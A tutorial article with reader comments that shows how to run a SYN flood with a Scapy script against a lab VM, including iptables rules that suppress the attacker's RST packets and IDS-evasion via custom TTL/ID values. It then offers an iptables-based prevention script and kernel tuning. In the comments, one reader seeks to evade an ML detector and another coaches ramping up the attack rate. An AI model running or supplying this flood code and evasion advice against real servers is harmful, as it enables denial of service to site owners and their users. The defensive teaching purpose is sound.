SYN Flooding using SCAPY and Prevention using iptables

15
40321
Syn Flooding

SYN Flooding

DoS (Denial of Service) attacks against Web services make them unavailable for legitimate users, affecting the website owner’s potential business. These involve intentional consumption of network, CPU and memory resources. In this article, I will demonstrate how to do a SYN flood using the SCAPY framework, along with other preventive measures.

Over time, DoS attacks have become more complicated, concealing malicious client requests as legitimate ones. Also, a distributed approach, the DDoS (Distributed Denial of Service) is now being adopted, which involves generating multiple requests to create a flood scenario. One type of DDoS flood attack is the TCP SYN queue flood.

A SYN queue flood attack takes advantage of the TCP protocol’s “three-way handshake”. A client sends a TCP SYN (S flag) packet to begin a connection to the server. The target server replies with a TCP SYN-ACK (SA flag) packet, but the client does not respond to the SYN-ACK, leaving the TCP connection “half-open”. In normal operation, the client should send an ACK (a flag) packet followed by the data to be transferred, or an RST reply to reset the connection. On the target server, the connection is kept open, in a “SYN_RECV” state, as the ACK packet may have been lost due to network problems.

In a DDoS, multiple attackers make many such half-connections to the target server, in a storm of requests. When the server’s SYN buffer is full with half-open TCP connections, it stops accepting SYN connections, thus resulting in denial of service to legitimate clients.

Such DDoS attacks are generally carried out using “botnets” of other compromised systems across the Internet, which through backdoors and Trojans are directed to send artificial SYN flood traffic to targeted servers. To defend against such attacks, a strong monitoring system is required, as there is a very fine line between legitimate and fake clients. SYN queue flood attacks can be mitigated by tuning
the kernel’s TCP/IP parameters.

In this article, to simulate a DDoS, I will generate SYN flood packets with Scapy (which has functions to manually craft abnormal packets with the desired field values), and use iptables, in multiple Oracle VirtualBox virtual machines running Ubuntu 10.04 Server. Two “attacker” VMs send packets to a “target
server” VM. In a real-life scenario, attackers target a server on ports that are in the LISTEN state, to bring down the service.

Now, let’s look at this in detail.

Attack scenario
Figure 1: Attack scenario (click to enlarge diagram)

The attackers’ configurations

My three Ubuntu Server VMs are connected through the VirtualBox “Hostonly” network adapter. The target server is 192.168.56.102; 192.168.56.101 and 192.168.56.103 are the attackers. I am using Scapy 2.2.0. Going forward, extract the Scapy source, and as the root, run python setup.py install. Run Scapy with the command scapy.

To attack the target server (192.168.56.102), insert the following iptables rules in the respective attacker VMs:

iptables –A OUTPUT –p tcp –s 192.168.56.101 --tcp-flags RST RST –j DROP
iptables –A OUTPUT –p tcp –s 192.168.56.103 --tcp-flags RST RST –j DROP
Note: This rule will DROP packets from the OUTPUT chain that have the RST flag set. The iptables rules will only apply to the kernel stack layer, not the application layer — so it will not apply to packets generated by Scapy, which creates the entire packet in its space. However, the malformed/manipulated packets crafted by Scapy will be seen by the kernel, which will send RST responses (resets) to the target, since it (the attacker’s kernel) didn’t initiate this TCP communication. To prevent this, we should use the above iptables rules, so that the kernel’s RSTs will not get to the target — otherwise, the target’s SYN buffer will not get full, and the DDoS attack will fail.

The attack

Run the Python script (below, SYN_Flood_Scapy.py) in the attacker VMs to send malformed SYN connections to the target.

#! /usr/bin/env python
# Name : Subodh Pachghare
# CyberSpace Name : HaX0R (Cyberninja)
# Website : www.thesubodh.com
# Description : SYN Flood Packet creation for iptables prevention solution
import sys
from scapy.all import *
#conf.verb=0
print "Field Values of packet sent"
p=IP(dst=sys.argv[1],id=1111,ttl=99)/TCP(sport=RandShort(),dport=[22,80],seq=12345,ack=1000,window=1000,flags="S")/"HaX0r SVP"
ls(p)
print "Sending Packets in 0.3 second intervals for timeout of 4 sec"
ans,unans=srloop(p,inter=0.3,retry=2,timeout=4)
print "Summary of answered & unanswered packets"
ans.summary()
unans.summary()
print "source port flags in response"
#for s,r in ans:
# print r.sprintf("%TCP.sport% \t %TCP.flags%")
ans.make_table(lambda(s,r): (s.dst, s.dport, r.sprintf("%IP.id% \t %IP.ttl% \t %TCP.flags%")))

A sample usage of this script:

python SYN_Flood_Scapy.py 192.168.56.102

Figure 2 shows the Scapy SYN packet output at the shell prompt.

SYN flood script output
Figure 2: SYN flood script output

As you can see, this script will take the destination IP as input, and will create connections from different ports. Random custom field values are used for TTL (Time to live) and ID, to obfuscate the identity in case any IDS/IPS (Intrusion Detection System/Intrusion Prevention System) is present at the target side. Every OS has typical TTL values (e.g., Windows 128, Linux 64, etc.), which any firewall or IDS/IPS like Snort can use to detect the attacker’s OS version.

The randshort() function is used to generate random port numbers for the sport (source port) of the TCP packet. The destination port (dport) is set to port 22 (SSH) and 80 (Apache Web server). The TCP connect flag is set to SYN using the flags option.

The srloop function sends p crafted packets at intervals of 0.3 seconds. The results of srloop are collected in ans (for answered packets) and unans (for unanswered packets). The gathered results are displayed in a table format for the reply flags and TTL values.

Finally, the script reports SA (SYN-ACK) responses, and gives the results as answered/unanswered packets.

The target’s reply of SA shows that it “thinks” the ACK from attacker/initiator was lost; hence, it keeps re-sending it, for an interval specified by the kernel. The connection, on the target server, remains in the SYN_RECV condition for 3 minutes for each port, as per the net.ipv4.tcp_synack_retries parameter, which is set to 5 in Linux. After these retries, the kernel closes the connection.

Here is the seed of a SYN flood. Millions of unanswered SYN requests to the target server can fill the buffer up completely, leaving it unable to serve legitimate clients. Now let’s look into custom prevention methods.

Prevention measures on target server

As a prevention measure, I created a shell script to generate iptables rules, which will be purged automatically on exit from the script. This solution will reject all suspicious TCP connections with a TCP RST packet, to prevent potential DDoS. All connections in the SYN_RECV state will be closed forcibly with RST packets. I allow 25 attempts from a single IP address, to take care of packet loss, which sometimes does happen, due to network errors. Thus, legitimate clients have a chance to reconnect.

After 25 attempts from the same IP address, SYN packets from that IP address will be rejected as intentional flooding (an iptables rule entry is added for malicious IP addresses, to REJECT with a TCP RST flag), and it will be logged for tracking purposes. The time interval at which to check for connections has to be specified (the script will sleep for the given time interval). If the server has a significant load, lower intervals are better, for more frequent scans.

This will also log the number of connections made from each IP address, for further analysis. The script can be terminated with the EXIT signal. It uses a while loop with the continue jump statement, so that existing IP address rules will not be re-entered.

The SYN_Flood_Prevention.sh script is as follows:

# Description : SYN Flood Prevention using iptables against Scapy SYN packets generated
> /var/log/DDOS_IP.log
> /tmp/test1.txt
> /tmp/test2.txt
trap "echo ;echo Caught EXIT signal;iptables -F;echo Iptables entries cleared;echo HaX0R SVP" EXIT
while true;
do
date >> /var/log/DDOS_IP.log
netstat | grep -E "ssh|www" | grep -iv ESTABLISHED | awk '{print $5}' | cut -d : -f 1 | sort | uniq -c >> /var/log/DDOS_IP.log
for pip in `netstat | grep -E "ssh|www" | grep -iv ESTABLISHED | awk '{print $5}' | cut -d : -f 1 | sort | uniq`
do
conntrack=`netstat | grep -E "ssh|www" | grep -iv ESTABLISHED | awk '{print $5}' | cut -d : -f 1 | grep $pip | wc -l`;
while read line
do
if [ "$line" = "$pip" ]
then
continue 2
fi
done < /tmp/test2.txt
if [ "$conntrack" -gt "25" ]
then
iptables -I INPUT -s $pip -p tcp -j REJECT --reject-with tcp-reset
echo "$pip" >> /tmp/test1.txt
fi
done
cat /tmp/test1.txt | sort | uniq > /tmp/test2.txt
sleep $1
done

Use it as shown below, on the target server:

./SYN_Flood_Prevention.sh 4

The EXIT signal (^C) will cause the script to flush all iptables chains, and clear all the rules it added. The topology diagram is in Figure 3.

Prevention practice
Figure 3: Prevention practice (click to enlarge diagram)

Kernel configuration

Beyond this shell script, the number of SYN_ACK retries can also be lowered, so that the kernel closes SYN_RECV state connections earlier. The parameter net.ipv4.tcp_synack_retries defaults to 5 SYN_ACK retries, which leaves SYN_RECV-state connections open for 3 minutes. You can reduce this so that these hanging connections will close sooner. I have used a value of 1, just for demonstration. This allows a time interval of 10 seconds before the connection is closed. Set the parameter using the following method. Add or edit the following line in /etc/sysctl.conf:

net.ipv4.tcp_synack_retries = 1

Commit the changes made using the sysctl command as root as follows:

sysctl –p /etc/sysctl.conf

Verify the changes in effect using the following command:

root@ubiserv:~# cat /proc/sys/net/ipv4/tcp_synack_retries
1

So, this is what you need to know to prevent a SYN queue flood. Please drop me a line if you are thinking about using this, and of course, for any suggestions or problems.

15 COMMENTS

  1. I have been searching for something like this for a long time. I’m gonna give it a try on my servers , since ddos floods have caused alot of hassle lately, and most firewalls are simply too heavy for the purpose and are exhausting all resources themselves by trying to mitigate the attacks, which eventually brings the servers down anyway.
    Cheers!

  2. A common SYN Flood method is to spoof random IPs, so this would not work because it probably wouldn’t count 25 of the same IP (and even if it did, it would only block that spoofed ip, not the actual source)

      • Hello Jeff, I want to perform a gradual attack such that the learning system eventually thinks the packets are normal but infact leads to an attack..Can you help with scapy/python code to get some idea on it

        • Well, yes I can help you with it, but I suspect it won’t help you. The kernel doesn’t use a “learning system” for two reasons: 1) it doesn’t have the resources to do something like that and 2) it doesn’t need to. It is sufficient to have some sort of threshold and if the threshold is exceeded then stop accepting connections. Technically, if the threshold is exceeded and the system does not accept legitimate connections, then you have successfully attacked DOSed it. So you don’t really need the slow start.
          On the other hand, the slow start that you’re proposing intrigues me, so I am going to give you some advice if, in exchange, you will share your results with me in this forum.
          There is a module called “time” which you can read about for python 2.7 here https://docs.python.org/2/library/time.html or for python 3.5 here https://docs.python.org/3/library/time.html.
          The scapy call takes microseconds, so you can ignore its execution time for sake of easy calculation. Put the scapy call in a loop, along with a call to time.sleep. Decrease the sleep time with each iteration until you either reach the desired maximum rate or until your victim starts failing or complaining or the NSA shows up at your door.

          For those of you who are going to complain that I am teaching a Bad Guy how to evil, let me point out that the real bad guys already know how to do this, and they have figured out how to do this stunt using an enormous amount of computer power. I’ve been attacked this way, so I know. I don’t think the slow start is going to make any difference, but if I am wrong, then I’d really like to know.

          Is that helpful?

          • Thanks…for the acknowledgement.. What I meant was right now I have a machine learning algorithm…I want to frame online packets such that..after classification as anomaly or normal the packets can be considered for learning again.These packets need to be framed such that eventually the learning gradually fails
            “Well, yes I can help you with it, but I suspect it won’t help you. The kernel doesn’t use a “learning system” for two reasons: 1) it doesn’t have the resources to do something like that and 2) it doesn’t need to. It is sufficient to have some sort of threshold and if the threshold is exceeded then stop accepting connections. Technically, if the threshold is exceeded and the system does not accept legitimate connections, then you have successfully attacked DOSed it. So you don’t really need the slow start. On the other hand, the slow start that you’re proposing intrigues me, so I am going to give you some advice if, in exchange, you will share your results with me in this forum. There is a module called “time” which you can read about for python 2.7 here https://docs.python.org/2/library/time.html or for python 3.5 here https://docs.python.org/3/library/time.html. The scapy call takes microseconds, so you can ignore its execution time for sake of easy calculation. Put the scapy call in a loop, along with a call to time.sleep. Decrease the sleep time with each iteration until you either reach the desired maximum rate or until your victim starts failing or complaining or the NSA shows up at your door. For those of you who are going to complain that I am teaching a Bad Guy how to evil, let me point out that the real bad guys already know how to do this, and they have figured out how to do this stunt using an enormous amount of computer power. I’ve been attacked this way, so I know. I don’t think the slow start is going to make any difference, but if I am wrong, then I’d really like to know. Is that helpful?”

            [image: Disqus] Settings

            A new comment was posted on Open Source For You —————————— *Jeff
            Silverman*
            Well, yes I can help you with it, but I suspect it won’t help you. The kernel doesn’t use a “learning system” for two reasons: 1) it doesn’t have the resources to do something like that and 2) it doesn’t need to. It is sufficient to have some sort of threshold and if the threshold is exceeded then stop accepting connections. Technically, if the threshold is exceeded and the system does not accept legitimate connections, then you have successfully attacked DOSed it. So you don’t really need the slow start.

          • I’m a little confused here. Are you playing offence or defense with your machine learning system? In other words, dies the ML software run on the attacking client or the defending server? Or have I missed the point of what you’re trying to do?

            Jeff

  3. Hi,
    I have run the syn flood script from my vm to windows host. how will i come to know that dos is successful and my windows host can not receive any more packets.

  4. This article must really helpful to (D)DoS researchers. However, now a days most of the commercial UTM/firewall devices and Linux supports TCP SYN Cookie and its more effective in mitigating DDoS attacks.

  5. Very informative and well-written article. However, I am not sure it explains adequately why the RST will be generated by the attacker’s kernel in the first place. I verify that this happens. Actually, even if you use hping3 you will notice this behavior. Yet, how does the kernel identify that it is time to send an RST? The client app simply refrains from sending the ACK but is there any timer that defines how long the client has to reply with an ACK? Can it be altered? Thanks again

LEAVE A REPLY

Please enter your comment!
Please enter your name here